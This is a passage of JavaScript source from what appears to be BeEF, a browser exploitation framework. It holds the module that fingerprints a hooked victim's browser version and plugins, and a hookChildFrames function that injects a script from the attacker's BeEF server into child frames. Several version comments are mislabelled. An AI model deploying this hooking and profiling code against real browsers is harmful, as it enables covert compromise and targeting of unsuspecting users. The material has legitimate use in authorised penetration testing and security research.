FF16: this.isFF16(), // Firefox 16\n            FF17: this.isFF17(), // Firefox 17\n            FF18: this.isFF18(), // Firefox 18\n            FF19: this.isFF19(), // Firefox 19\n            FF20: this.isFF20(), // Firefox 20\n            FF21: this.isFF21(), // Firefox 21\n            FF22: this.isFF22(), // Firefox 22\n            FF23: this.isFF23(), // Firefox 23\n            FF24: this.isFF24(), // Firefox 24\n            FF25: this.isFF25(), // Firefox 25\n            FF26: this.isFF26(), // Firefox 26\n            FF27: this.isFF27(), // Firefox 27\n            FF28: this.isFF28(), // Firefox 28\n            FF29: this.isFF29(), // Firefox 29\n            FF30: this.isFF30(), // Firefox 30\n            FF31: this.isFF31(), // Firefox 31\n            FF32: this.isFF32(), // Firefox 32\n            FF33: this.isFF33(), // Firefox 33\n            FF34: this.isFF34(), // Firefox 34\n            FF35: this.isFF35(), // Firefox 35\n            FF36: this.isFF36(), // Firefox 36\n            FF37: this.isFF37(), // Firefox 37\n            FF38: this.isFF38(), // Firefox 38\n            FF39: this.isFF39(), // Firefox 39\n            FF40: this.isFF40(), // Firefox 40\n            FF41: this.isFF41(), // Firefox 41\n            FF42: this.isFF42(), // Firefox 42\n            FF43: this.isFF43(), // Firefox 43\n            FF44: this.isFF44(), // Firefox 44\n            FF45: this.isFF45(), // Firefox 45\n            FF46: this.isFF46(), // Firefox 46\n            FF47: this.isFF47(), // Firefox 47\n            FF48: this.isFF48(), // Firefox 48\n            FF49: this.isFF49(), // Firefox 49\n            FF50: this.isFF50(), // Firefox 50\n            FF51: this.isFF51(), // Firefox 51\n            FF52: this.isFF52(), // Firefox 52\n            FF53: this.isFF53(), // Firefox 53\n            FF54: this.isFF54(), // Firefox 54\n            FF55: this.isFF55(), // Firefox 55\n            FF56: this.isFF56(), // Firefox 56\n            FF57: this.isFF57(), // Firefox 57\n            FF58: this.isFF58(), // Firefox 58\n            FF59: this.isFF59(), // Firefox 59\n            FF60: this.isFF60(), // Firefox 60\n            FF61: this.isFF61(), // Firefox 61\n            FF62: this.isFF62(), // Firefox 62\n            FF63: this.isFF63(), // Firefox 63\n            FF64: this.isFF64(), // Firefox 64\n            FF65: this.isFF65(), // Firefox 65\n            FF66: this.isFF66(), // Firefox 66\n            FF67: this.isFF67(), // Firefox 67\n            FF68: this.isFF68(), // Firefox 68\n            FF69: this.isFF69(), // Firefox 69\n            FF70: this.isFF70(), // Firefox 70\n            FF71: this.isFF71(), // Firefox 71\n            FF72: this.isFF72(), // Firefox 72\n            FF73: this.isFF73(), // Firefox 73\n            FF74: this.isFF74(), // Firefox 74\n            FF75: this.isFF75(), // Firefox 75\n            FF76: this.isFF76(), // Firefox 76\n            FF77: this.isFF77(), // Firefox 77\n            FF78: this.isFF78(), // Firefox 78\n            FF79: this.isFF79(), // Firefox 79\n            FF80: this.isFF80(), // Firefox 70\n            FF81: this.isFF81(), // Firefox 81\n            FF82: this.isFF82(), // Firefox 82\n            FF83: this.isFF83(), // Firefox 83\n            FF84: this.isFF84(), // Firefox 85\n            FF85: this.isFF85(), // Firefox 85\n            FF86: this.isFF86(), // Firefox 85\n            FF87: this.isFF87(), // Firefox 87\n            FF88: this.isFF88(), // Firefox 85\n            FF89: this.isFF89(), // Firefox 85\n            FF90: this.isFF90(), // Firefox 80\n            FF91: this.isFF91(), // Firefox 95\n            FF92: this.isFF92(), // Firefox 92\n            FF93: this.isFF93(), // Firefox 95\n            FF94: this.isFF94(), // Firefox 94\n            FF95: this.isFF95(), // Firefox 95\n            FF96: this.isFF96(), // Firefox 96\n            FF97: this.isFF97(), // Firefox 97\n            FF98: this.isFF98(), // Firefox 98\n            FF99: this.isFF99(), // Firefox 99\n\n            FF: this.isFF(),   // Firefox any version\n\n            IE6: this.isIE6(), // Internet Explorer 6\n            IE7: this.isIE7(), // Internet Explorer 7\n            IE8: this.isIE8(), // Internet Explorer 8\n            IE9: this.isIE9(), // Internet Explorer 9\n            IE10: this.isIE10(), // Internet Explorer 10\n            IE11: this.isIE11(), // Internet Explorer 11\n            IE: this.isIE(), // Internet Explorer any version\n\n            O9_52: this.isO9_52(), // Opera 9.50 through 9.52\n            O9_60: this.isO9_60(), // Opera 9.60 through 9.64\n            O10: this.isO10(), // Opera 10.xx\n            O11: this.isO11(), // Opera 11.xx\n            O12: this.isO12(), // Opera 12.xx\n            O: this.isO(),   // Opera any version\n\n            EP: this.isEpi(), // Epiphany any version\n\n            S4: this.isS4(), // Safari 4.xx\n            S5: this.isS5(), // Safari 5.xx\n            S6: this.isS6(), // Safari 6.x\n            S7: this.isS7(), // Safari 7.x\n            S8: this.isS8(), // Safari 8.x\n            S: this.isS()   // Safari any version\n        }\n    },\n\n    /**\n     * Returns the major version of the browser being used.\n     * @return: {String} version number || 'UNKNOWN'.\n     *\n     * @example: beef.browser.getBrowserVersion()\n     */\n    getBrowserVersion: function () {\n        if (this.isEdge()) {\n          try {\n            return platform.version;\n          } catch(e) {\n            return 'unknown';\n          }\n        }\n        ;   // Microsoft Edge\n\n        if (this.isC5()) {\n            return '5'\n        }\n        ;   // Chrome 5\n        if (this.isC6()) {\n            return '6'\n        }\n        ;   // Chrome 6\n        if (this.isC7()) {\n            return '7'\n        }\n        ;   // Chrome 7\n        if (this.isC8()) {\n            return '8'\n        }\n        ;   // Chrome 8\n        if (this.isC9()) {\n            return '9'\n        }\n        ;   // Chrome 9\n        if (this.isC10()) {\n            return '10'\n        }\n        ;   // Chrome 10\n        if (this.isC11()) {\n            return '11'\n        }\n        ;   // Chrome 11\n        if (this.isC12()) {\n            return '12'\n        }\n        ;   // Chrome 12\n        if (this.isC13()) {\n            return '13'\n        }\n        ;   // Chrome 13\n        if (this.isC14()) {\n            return '14'\n        }\n        ;   // Chrome 14\n        if (this.isC15()) {\n            return '15'\n        }\n        ;   // Chrome 15\n        if (this.isC16()) {\n            return '16'\n        }\n        ;\t// Chrome 16\n        if (this.isC17()) {\n            return '17'\n        }\n        ;\t// Chrome 17\n        if (this.isC18()) {\n            return '18'\n        }\n        ;\t// Chrome 18\n        if (this.isC19()) {\n            return '19'\n        }\n        ;\t// Chrome 19\n        if (this.isC19iOS()) {\n            return '19'\n        }\n        ;   // Chrome 19 for iOS\n        if (this.isC20()) {\n            return '20'\n        }\n        ;\t// Chrome 20\n        if (this.isC20iOS()) {\n            return '20'\n        }\n        ;   // Chrome 20 for iOS\n        if (this.isC21()) {\n            return '21'\n        }\n        ;\t// Chrome 21\n        if (this.isC21iOS()) {\n            return '21'\n        }\n        ;   // Chrome 21 for iOS\n        if (this.isC22()) {\n            return '22'\n        }\n        ;    // Chrome 22\n        if (this.isC22iOS()) {\n            return '22'\n        }\n        ;   // Chrome 22 for iOS\n        if (this.isC23()) {\n            return '23'\n        }\n        ;    // Chrome 23\n        if (this.isC23iOS()) {\n            return '23'\n        }\n        ;   // Chrome 23 for iOS\n        if (this.isC24()) {\n            return '24'\n        }\n        ;    // Chrome 24\n        if (this.isC24iOS()) {\n            return '24'\n        }\n        ;   // Chrome 24 for iOS\n        if (this.isC25()) {\n            return '25'\n        }\n        ;    // Chrome 25\n        if (this.isC25iOS()) {\n            return '25'\n        }\n        ;   // Chrome 25 for iOS\n        if (this.isC26()) {\n            return '26'\n        }\n        ;    // Chrome 26\n        if (this.isC26iOS()) {\n            return '26'\n        }\n        ;   // Chrome 26 for iOS\n        if (this.isC27()) {\n            return '27'\n        }\n        ;    // Chrome 27\n        if (this.isC27iOS()) {\n            return '27'\n        }\n        ;   // Chrome 27 for iOS\n        if (this.isC28()) {\n            return '28'\n        }\n        ;    // Chrome 28\n        if (this.isC28iOS()) {\n            return '28'\n        }\n        ;   // Chrome 28 for iOS\n        if (this.isC29()) {\n            return '29'\n        }\n        ;    // Chrome 29\n        if (this.isC29iOS()) {\n            return '29'\n        }\n        ;   // Chrome 29 for iOS\n        if (this.isC30()) {\n            return '30'\n        }\n        ;    // Chrome 30\n        if (this.isC30iOS()) {\n            return '30'\n        }\n        ;   // Chrome 30 for iOS\n        if (this.isC31()) {\n            return '31'\n        }\n        ;   // Chrome 31\n        if (this.isC31iOS()) {\n            return '31'\n        }\n        ;   // Chrome 31 for iOS\n        if (this.isC32()) {\n            return '32'\n        }\n        ;   // Chrome 32\n        if (this.isC32iOS()) {\n            return '32'\n        }\n        ;   // Chrome 32 for iOS\n        if (this.isC33()) {\n            return '33'\n        }\n        ;   // Chrome 33\n        if (this.isC33iOS()) {\n            return '33'\n        }\n        ;   // Chrome 33 for iOS\n        if (this.isC34()) {\n            return '34'\n        }\n        ;   // Chrome 34\n        if (this.isC34iOS()) {\n            return '34'\n        }\n        ;   // Chrome 34 for iOS\n        if (this.isC35()) {\n            return '35'\n        }\n        ;   // Chrome 35\n        if (this.isC35iOS()) {\n            return '35'\n        }\n        ;   // Chrome 35 for iOS\n        if (this.isC36()) {\n            return '36'\n        }\n        ;   // Chrome 36\n        if (this.isC36iOS()) {\n            return '36'\n        }\n        ;   // Chrome 36 for iOS\n        if (this.isC37()) {\n            return '37'\n        }\n        ;   // Chrome 37\n        if (this.isC37iOS()) {\n            return '37'\n        }\n        ;   // Chrome 37 for iOS\n        if (this.isC38()) {\n            return '38'\n        }\n        ;   // Chrome 38\n        if (this.isC38iOS()) {\n            return '38'\n        }\n        ;   // Chrome 38 for iOS\n        if (this.isC39()) {\n            return '39'\n        }\n        ;   // Chrome 39\n        if (this.isC39iOS()) {\n            return '39'\n        }\n        ;   // Chrome 39 for iOS\n        if (this.isC40()) {\n            return '40'\n        }\n        ;   // Chrome 40\n        if (this.isC40iOS()) {\n            return '40'\n        }\n        ;   // Chrome 40 for iOS\n        if (this.isC41()) {\n            return '41'\n        }\n        ;   // Chrome 41\n        if (this.isC41iOS()) {\n            return '41'\n        }\n        ;   // Chrome 41 for iOS\n        if (this.isC42()) {\n            return '42'\n        }\n        ;   // Chrome 42\n        if (this.isC42iOS()) {\n            return '42'\n        }\n        ;   // Chrome 42 for iOS\n        if (this.isC43()) {\n            return '43'\n        }\n        ;   // Chrome 43\n        if (this.isC43iOS()) {\n            return '43'\n        }\n        ;   // Chrome 43 for iOS\n        if (this.isC44()) {\n            return '44'\n        }\n        ;   // Chrome 44\n        if (this.isC44iOS()) {\n            return '44'\n        }\n        ;   // Chrome 44 for iOS\n        if (this.isC45()) {\n            return '45'\n        }\n        ;   // Chrome 45\n        if (this.isC45iOS()) {\n            return '45'\n        }\n        ;   // Chrome 45 for iOS\n        if (this.isC46()) {\n            return '46'\n        }\n        ;// Chrome 46\n        if (this.isC46iOS()) {\n            return '46'\n        }\n        ;   // Chrome 46 for iOS\n        if (this.isC47()) {\n            return '47'\n        }\n        ;// Chrome 47\n        if (this.isC47iOS()) {\n            return '47'\n        }\n        ;   // Chrome 47 for iOS\n        if (this.isC48()) {\n            return '48'\n        }\n        ;// Chrome 48\n        if (this.isC48iOS()) {\n            return '48'\n        }\n        ;   // Chrome 48 for iOS\n        if (this.isC49()) {\n            return '49'\n        }\n        ;// Chrome 49\n        if (this.isC49iOS()) {\n            return '49'\n        }\n        ;   // Chrome 49 for iOS\n        if (this.isC50()) {\n            return '50'\n        }\n        ;// Chrome 50\n        if (this.isC50iOS()) {\n            return '50'\n        }\n        ;   // Chrome 50 for iOS\n        if (this.isC51()) {\n            return '51'\n        }\n        ;// Chrome 51\n        if (this.isC51iOS()) {\n            return '51'\n        }\n        ;   // Chrome 51 for iOS\n        if (this.isC52()) {\n            return '52'\n        }\n        ;// Chrome 52\n        if (this.isC52iOS()) {\n            return '52'\n        }\n        ;   // Chrome 52 for iOS\n        if (this.isC53()) {\n            return '53'\n        }\n        ;// Chrome 53\n        if (this.isC53iOS()) {\n            return '53'\n        }\n        ;   // Chrome 53 for iOS\n        if (this.isC54()) {\n            return '54'\n        }\n        ;// Chrome 54\n        if (this.isC54iOS()) {\n            return '54'\n        }\n        ;   // Chrome 54 for iOS\n        if (this.isC55()) {\n            return '55'\n        }\n        ;// Chrome 55\n        if (this.isC55iOS()) {\n            return '55'\n        }\n        ;   // Chrome 55 for iOS\n        if (this.isC56()) {\n            return '56'\n        }\n        ;// Chrome 56\n        if (this.isC56iOS()) {\n            return '56'\n        }\n        ;   // Chrome 56 for iOS\n        if (this.isC57()) {\n            return '57'\n        }\n        ;// Chrome 57\n        if (this.isC57iOS()) {\n            return '57'\n        }\n        ;   // Chrome 57 for iOS\n        if (this.isC58()) {\n            return '58'\n        }\n        ;// Chrome 58\n        if (this.isC58iOS()) {\n            return '58'\n        }\n        ;   // Chrome 58 for iOS\n\n\n        if (this.isFF2()) {\n            return '2'\n        }\n        ;\t// Firefox 2\n        if (this.isFF3()) {\n            return '3'\n        }\n        ;\t// Firefox 3\n        if (this.isFF3_5()) {\n            return '3.5'\n        }\n        ;\t// Firefox 3.5\n        if (this.isFF3_6()) {\n            return '3.6'\n        }\n        ;\t// Firefox 3.6\n        if (this.isFF4()) {\n            return '4'\n        }\n        ;\t// Firefox 4\n        if (this.isFF5()) {\n            return '5'\n        }\n        ;\t// Firefox 5\n        if (this.isFF6()) {\n            return '6'\n        }\n        ;\t// Firefox 6\n        if (this.isFF7()) {\n            return '7'\n        }\n        ;\t// Firefox 7\n        if (this.isFF8()) {\n            return '8'\n        }\n        ;\t// Firefox 8\n        if (this.isFF9()) {\n            return '9'\n        }\n        ;\t// Firefox 9\n        if (this.isFF10()) {\n            return '10'\n        }\n        ;\t// Firefox 10\n        if (this.isFF11()) {\n            return '11'\n        }\n        ;\t// Firefox 11\n        if (this.isFF12()) {\n            return '12'\n        }\n        ;\t// Firefox 12\n        if (this.isFF13()) {\n            return '13'\n        }\n        ;\t// Firefox 13\n        if (this.isFF14()) {\n            return '14'\n        }\n        ;\t// Firefox 14\n        if (this.isFF15()) {\n            return '15'\n        }\n        ;\t// Firefox 15\n        if (this.isFF16()) {\n            return '16'\n        }\n        ;\t// Firefox 16\n        if (this.isFF17()) {\n            return '17'\n        }\n        ;    // Firefox 17\n        if (this.isFF18()) {\n            return '18'\n        }\n        ;    // Firefox 18\n        if (this.isFF19()) {\n            return '19'\n        }\n        ;    // Firefox 19\n        if (this.isFF20()) {\n            return '20'\n        }\n        ;    // Firefox 20\n        if (this.isFF21()) {\n            return '21'\n        }\n        ;    // Firefox 21\n        if (this.isFF22()) {\n            return '22'\n        }\n        ;   // Firefox 22\n        if (this.isFF23()) {\n            return '23'\n        }\n        ;   // Firefox 23\n        if (this.isFF24()) {\n            return '24'\n        }\n        ;   // Firefox 24\n        if (this.isFF25()) {\n            return '25'\n        }\n        ;   // Firefox 25\n        if (this.isFF26()) {\n            return '26'\n        }\n        ;   // Firefox 26\n        if (this.isFF27()) {\n            return '27'\n        }\n        ;   // Firefox 27\n        if (this.isFF28()) {\n            return '28'\n        }\n        ;   // Firefox 28\n        if (this.isFF29()) {\n            return '29'\n        }\n        ;   // Firefox 29\n        if (this.isFF30()) {\n            return '30'\n        }\n        ;   // Firefox 30\n        if (this.isFF31()) {\n            return '31'\n        }\n        ;   // Firefox 31\n        if (this.isFF32()) {\n            return '32'\n        }\n        ;   // Firefox 32\n        if (this.isFF33()) {\n            return '33'\n        }\n        ;   // Firefox 33\n        if (this.isFF34()) {\n            return '34'\n        }\n        ;   // Firefox 34\n        if (this.isFF35()) {\n            return '35'\n        }\n        ;   // Firefox 35\n        if (this.isFF36()) {\n            return '36'\n        }\n        ;   // Firefox 36\n        if (this.isFF37()) {\n            return '37'\n        }\n        ;   // Firefox 37\n        if (this.isFF38()) {\n            return '38'\n        }\n        ;   // Firefox 38\n        if (this.isFF39()) {\n            return '39'\n        }\n        ;   // Firefox 39\n        if (this.isFF40()) {\n            return '40'\n        }\n        ;   // Firefox 40\n        if (this.isFF41()) {\n            return '41'\n        }\n        ;   // Firefox 41\n        if (this.isFF42()) {\n            return '42'\n        }\n        ;   // Firefox 42\n        if (this.isFF43()) {\n            return '43'\n        }\n        ;   // Firefox 43\n        if (this.isFF44()) {\n            return '44'\n        }\n        ;   // Firefox 44\n        if (this.isFF45()) {\n            return '45'\n        }\n        ;   // Firefox 45\n        if (this.isFF46()) {\n            return '46'\n        }\n        ;   // Firefox 46\n        if (this.isFF47()) {\n            return '47'\n        }\n        ;   // Firefox 47\n        if (this.isFF48()) {\n            return '48'\n        }\n        ;   // Firefox 48\n        if (this.isFF49()) {\n            return '49'\n        }\n        ;   // Firefox 49\n        if (this.isFF50()) {\n            return '50'\n        }\n        ;   // Firefox 50\n        if (this.isFF51()) {\n            return '51'\n        }\n        ;   // Firefox 51\n        if (this.isFF52()) {\n            return '52'\n        }\n        ;   // Firefox 52\n        if (this.isFF53()) {\n            return '53'\n        }\n        ;   // Firefox 53\n        if (this.isFF54()) {\n            return '54'\n        }\n        ;   // Firefox 54\n        if (this.isFF55()) {\n            return '55'\n        }\n        ;   // Firefox 55\n        if (this.isFF56()) {\n            return '56'\n        }\n        ;   // Firefox 56\n        if (this.isFF57()) {\n            return '57'\n        }\n        ;   // Firefox 57\n        if (this.isFF58()) {\n            return '58'\n        }\n        ;   // Firefox 58\n        if (this.isFF59()) {\n            return '59'\n        }\n        ;   // Firefox 59\n        if (this.isFF60()) {\n            return '60'\n        }\n        ;   // Firefox 60\n        if (this.isFF61()) {\n            return '61'\n        }\n        ;   // Firefox 61\n        if (this.isFF62()) {\n            return '62'\n        }\n        ;   // Firefox 62\n        if (this.isFF63()) {\n            return '63'\n        }\n        ;   // Firefox 63\n        if (this.isFF64()) {\n            return '64'\n        }\n        ;   // Firefox 64\n        if (this.isFF65()) {\n            return '65'\n        }\n        ;   // Firefox 65\n        if (this.isFF66()) {\n            return '66'\n        }\n        ;   // Firefox 66\n        if (this.isFF67()) {\n            return '67'\n        }\n        ;   // Firefox 67\n        if (this.isFF68()) {\n            return '68'\n        }\n        ;   // Firefox 68\n        if (this.isFF69()) {\n            return '69'\n        }\n        ;   // Firefox 69\n        if (this.isFF70()) {\n            return '70'\n        }\n        ;   // Firefox 70\n        if (this.isFF71()) {\n            return '71'\n        }\n        ;   // Firefox 71\n        if (this.isFF72()) {\n            return '72'\n        }\n        ;   // Firefox 72\n        if (this.isFF73()) {\n            return '73'\n        }\n        ;   // Firefox 73\n        if (this.isFF74()) {\n            return '74'\n        }\n        ;   // Firefox 74\n        if (this.isFF75()) {\n            return '75'\n        }\n        ;   // Firefox 75\n        if (this.isFF76()) {\n            return '76'\n        }\n        ;   // Firefox 76\n        if (this.isFF77()) {\n            return '77'\n        }\n        ;   // Firefox 77\n        if (this.isFF78()) {\n            return '78'\n        }\n        ;   // Firefox 78\n        if (this.isFF79()) {\n            return '79'\n        }\n        ;   // Firefox 79\n        if (this.isFF80()) {\n            return '80'\n        }\n        ;   // Firefox 80\n        if (this.isFF81()) {\n            return '81'\n        }\n        ;   // Firefox 81\n        if (this.isFF82()) {\n            return '82'\n        }\n        ;   // Firefox 82\n        if (this.isFF83()) {\n            return '83'\n        }\n        ;   // Firefox 83\n        if (this.isFF84()) {\n            return '84'\n        }\n        ;   // Firefox 84\n        if (this.isFF85()) {\n            return '85'\n        }\n        ;   // Firefox 85\n        if (this.isFF86()) {\n            return '86'\n        }\n        ;   // Firefox 86\n        if (this.isFF87()) {\n            return '87'\n        }\n        ;   // Firefox 87\n        if (this.isFF88()) {\n            return '88'\n        }\n        ;   // Firefox 88\n        if (this.isFF89()) {\n            return '89'\n        }\n        ;   // Firefox 89\n        if (this.isFF90()) {\n            return '90'\n        }\n        ;   // Firefox 90\n        if (this.isFF91()) {\n            return '91'\n        }\n        ;   // Firefox 91\n        if (this.isFF92()) {\n            return '92'\n        }\n        ;   // Firefox 92\n        if (this.isFF93()) {\n            return '93'\n        }\n        ;   // Firefox 93\n        if (this.isFF94()) {\n            return '94'\n        }\n        ;   // Firefox 94\n        if (this.isFF95()) {\n            return '95'\n        }\n        ;   // Firefox 95\n        if (this.isFF96()) {\n            return '96'\n        }\n        ;   // Firefox 96\n        if (this.isFF97()) {\n            return '97'\n        }\n        ;   // Firefox 97\n        if (this.isFF98()) {\n            return '98'\n        }\n        ;   // Firefox 98\n        if (this.isFF99()) {\n            return '99'\n        }\n        ;   // Firefox 99\n\n        if (this.isIE6()) {\n            return '6'\n        }\n        ;\t// Internet Explorer 6\n        if (this.isIE7()) {\n            return '7'\n        }\n        ;\t// Internet Explorer 7\n        if (this.isIE8()) {\n            return '8'\n        }\n        ;\t// Internet Explorer 8\n        if (this.isIE9()) {\n            return '9'\n        }\n        ;\t// Internet Explorer 9\n        if (this.isIE10()) {\n            return '10'\n        }\n        ;\t// Internet Explorer 10\n        if (this.isIE11()) {\n            return '11'\n        }\n        ;   // Internet Explorer 11\n\n        if (this.isEdge()) {\n            return '1'\n        }\n        ;   // Microsoft Edge\n\n        if (this.isEpi()) {\n            // believe the UserAgent string for version info - until whenever\n            var epiphanyRe = /Epiphany\\/(\\d+)/;\n            var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());\n            if (versionDetails.length > 1) {\n                return versionDetails[1];\n            } else {\n                return \"UNKNOWN\"; // returns from here or it may take Safari version details\n            }\n        }\n        ;                       // Epiphany\n\n        if (this.isS4()) {\n            return '4'\n        }\n        ;\t// Safari 4\n        if (this.isS5()) {\n            return '5'\n        }\n        ;\t// Safari 5\n        if (this.isS6()) {\n            return '6'\n        }\n        ;\t// Safari 6\n\n        if (this.isS7()) {\n            return '7'\n        }\n        ;\t// Safari 7\n        if (this.isS8()) {\n            return '8'\n        }\n        ;       // Safari 8\n\n        if (this.isO9_52()) {\n            return '9.5'\n        }\n        ;\t// Opera 9.5x\n        if (this.isO9_60()) {\n            return '9.6'\n        }\n        ;\t// Opera 9.6\n        if (this.isO10()) {\n            return '10'\n        }\n        ;\t// Opera 10.xx\n        if (this.isO11()) {\n            return '11'\n        }\n        ;\t// Opera 11.xx\n        if (this.isO12()) {\n            return '12'\n        }\n        ;\t// Opera 12.xx\n\n        // platform.js\n        try {\n          var version = platform.version;\n          if (!!version)\n            return version;\n        } catch (e) {}\n\n        return 'UNKNOWN';\t\t\t\t// Unknown UA\n    },\n\n    /**\n     * Returns the type of user agent by hooked browser.\n     * @return: {String} User agent software.\n     *\n     * @example: beef.browser.getBrowserName()\n     */\n    getBrowserName: function () {\n        if (this.isEdge()) {\n            return 'E'\n        }\n        ;       // Microsoft Edge any version\n        if (this.isC()) {\n            return 'C'\n        }\n        ;   // Chrome any version\n        if (this.isFF()) {\n            return 'FF'\n        }\n        ;\t\t// Firefox any version\n        if (this.isIE()) {\n            return 'IE'\n        }\n        ;\t\t// Internet Explorer any version\n        if (this.isO()) {\n            return 'O'\n        }\n        ;\t\t// Opera any version\n        if (this.isEpi()) {\n            return 'EP'\n        }\n        ;\t\t\t// Epiphany any version\n        if (this.isS()) {\n            return 'S'\n        }\n        ;\t\t// Safari any version\n        if (this.isA()) {\n            return 'A'\n        }\n        ;               // Avant any version\n        if (this.isMidori()) {\n            return 'MI'\n        }\n        ;               // Midori any version\n        if (this.isOdyssey()) {\n            return 'OD'\n        }\n        ;               // Odyssey any version\n        if (this.isBrave()) {\n            return 'BR'\n        }\n        ;               // Brave any version\n        return 'UNKNOWN';\t// Unknown UA\n    },\n\n    /**\n     * Hooks all child frames in the current window\n     * Restricted by same-origin policy\n     */\n    hookChildFrames: function () {\n\n        // create script object\n        var script = document.createElement('script');\n        script.type = 'text/javascript';\n        script.src = '&lt;%== @beef_proto %>://&lt;%== @beef_host %>:&lt;%== @beef_port %>&lt;%== @hook_file %>';\n\n        // loop through child frames\n        for (var i = 0; i &lt; self.frames.length; i++) {\n            try {\n                // append hook script\n                self.frames[i].document.body.appendChild(script);\n                beef.debug(\"Hooked child frame [src:\" + self.frames[i].window.location.href + \"]\");\n            } catch (e) {\n                // warn on cross-origin\n                beef.debug(\"Hooking child frame failed: \" + e.message);\n            }\n        }\n    },\n\n    /**\n     * Checks if the zombie has flash installed and enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasFlash()) { ... }\n     */\n    hasFlash: function () {\n      if (!beef.browser.isIE()) {\n        return (navigator.mimeTypes &amp;&amp; navigator.mimeTypes[\"application/x-shockwave-flash\"]);\n      }\n\n      if (!!navigator.plugins) {\n        return (navigator.plugins[\"Shockwave Flash\"] != undefined);\n      }\n\n      // IE\n      var flash_versions = 12;\n      if (window.ActiveXObject != null) {\n        for (x = 2; x &lt;= flash_versions; x++) {\n          try {\n            Flash = eval(\"new ActiveXObject('ShockwaveFlash.ShockwaveFlash.\" + x + \"');\");\n            if (Flash) {\n              return true;\n            }\n          } catch (e) {\n            beef.debug(\"Creating Flash ActiveX object failed: \" + e.message);\n          }\n        }\n      }\n\n      return false;\n    },\n\n    /**\n     * Checks if the zombie has the QuickTime plugin installed.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if ( beef.browser.hasQuickTime() ) { ... }\n     */\n    hasQuickTime: function () {\n        if (!!navigator.plugins) {\n            for (i = 0; i &lt; navigator.plugins.length; i++) {\n                if (navigator.plugins[i].name.indexOf(\"QuickTime\") >= 0) {\n                    return true;\n                }\n            }\n        }\n\n        // IE\n        try {\n          var qt_test = new ActiveXObject('QuickTime.QuickTime');\n          if (qt_test) {\n            return true;\n          }\n        } catch (e) {\n          beef.debug(\"Creating QuickTime ActiveX object failed: \" + e.message);\n        }\n\n        return false;\n    },\n\n    /**\n     * Checks if the zombie has the RealPlayer plugin installed.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if ( beef.browser.hasRealPlayer() ) { ... }\n     */\n    hasRealPlayer: function () {\n\n        if (!!navigator.plugins) {\n          for (i = 0; i &lt; navigator.plugins.length; i++) {\n            if (navigator.plugins[i].name.indexOf(\"RealPlayer\") >= 0) {\n              return true;\n            }\n          }\n        }\n\n        // IE\n        var definedControls = [\n          'RealPlayer',\n          'rmocx.RealPlayer G2 Control',\n          'rmocx.RealPlayer G2 Control.1',\n          'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',\n          'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'\n        ];\n\n        for (var i = 0; i &lt; definedControls.length; i++) {\n          try {\n            var rp_test = new ActiveXObject(definedControls[i]);\n            if (rp_test) {\n              return true;\n            }\n          } catch (e) {\n            beef.debug(\"Creating RealPlayer ActiveX object failed: \" + e.message);\n          }\n        }\n\n        return false;\n    },\n\n    /**\n     * Checks if the zombie has the Windows Media Player plugin installed.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if ( beef.browser.hasWMP() ) { ... }\n     */\n    hasWMP: function () {\n      if (!!navigator.plugins) {\n        for (i = 0; i &lt; navigator.plugins.length; i++) {\n          if (navigator.plugins[i].name.indexOf(\"Windows Media Player\") >= 0) {\n            return true;\n          }\n        }\n      }\n\n      // IE\n      try {\n        var wmp_test = new ActiveXObject('WMPlayer.OCX');\n        if (wmp_test) {\n          return true;\n        }\n      } catch (e) {\n        beef.debug(\"Creating WMP ActiveX object failed: \" + e.message);\n      }\n\n      return false;\n    },\n\n    /**\n     *  Checks if VLC is installed\n     *  @return: {Boolean} true or false\n     **/\n    hasVLC: function () {\n      if (beef.browser.isIE() || beef.browser.isEdge()) {\n        try {\n          control = new ActiveXObject(\"VideoLAN.VLCPlugin.2\");\n          return true;\n        } catch (e) {\n          beef.debug(\"Creating VLC ActiveX object failed: \" + e.message);\n        }\n      } else {\n        for (i = 0; i &lt; navigator.plugins.length; i++) {\n          if (navigator.plugins[i].name.indexOf(\"VLC\") >= 0) {\n            return true;\n          }\n        }\n      }\n      return false;\n    },\n\n    /**\n     * Checks if the zombie has Java enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.javaEnabled()) { ... }\n     */\n    javaEnabled: function () {\n      return navigator.javaEnabled();\n    },\n\n    /**\n     * Checks if the Phonegap API is available from the hooked origin.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasPhonegap()) { ... }\n     */\n    hasPhonegap: function () {\n        var result = false;\n\n        try {\n            if (!!device.phonegap || !!device.cordova) result = true; else result = false;\n        }\n        catch (e) {\n            result = false;\n        }\n        return result;\n    },\n\n    /**\n     * Checks if the browser supports CORS\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasCors()) { ... }\n     */\n    hasCors: function () {\n        if ('withCredentials' in new XMLHttpRequest())\n            return true;\n        else if (typeof XDomainRequest !== \"undefined\")\n            return true;\n        else\n            return false;\n    },\n\n    /**\n     * Checks if the zombie has Java installed and enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasJava()) { ... }\n     */\n    hasJava: function () {\n        if (beef.browser.getPlugins().match(/java/i) &amp;&amp; beef.browser.javaEnabled()) {\n          return true;\n        } else {\n          return false;\n        }\n    },\n\n    /**\n     * Checks if the zombie has VBScript enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasVBScript()) { ... }\n     */\n    hasVBScript: function () {\n        if ((navigator.userAgent.indexOf('MSIE') != -1) &amp;&amp; (navigator.userAgent.indexOf('Win') != -1)) {\n            return true;\n        } else {\n            return false;\n        }\n    },\n\n    /**\n     * Returns the list of plugins installed in the browser.\n     */\n    getPlugins: function () {\n\n        var results;\n\n        function unique(array) {\n          return $j.grep(array, function(el, index) {\n            return index === $j.inArray(el, array);\n          });\n        }\n\n        // Things lacking navigator.plugins\n        if (!navigator.plugins) \n          return this.getPluginsIE();\n\n        // All other browsers that support navigator.plugins\n        if (navigator.plugins &amp;&amp; navigator.plugins.length > 0) {\n            results = new Array();\n            for (var i = 0; i &lt; navigator.plugins.length; i++) {\n\n                // Firefox returns exact plugin versions\n                if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;\n\n                // Webkit and Presto (Opera)\n                // Don't support the version attribute\n                // 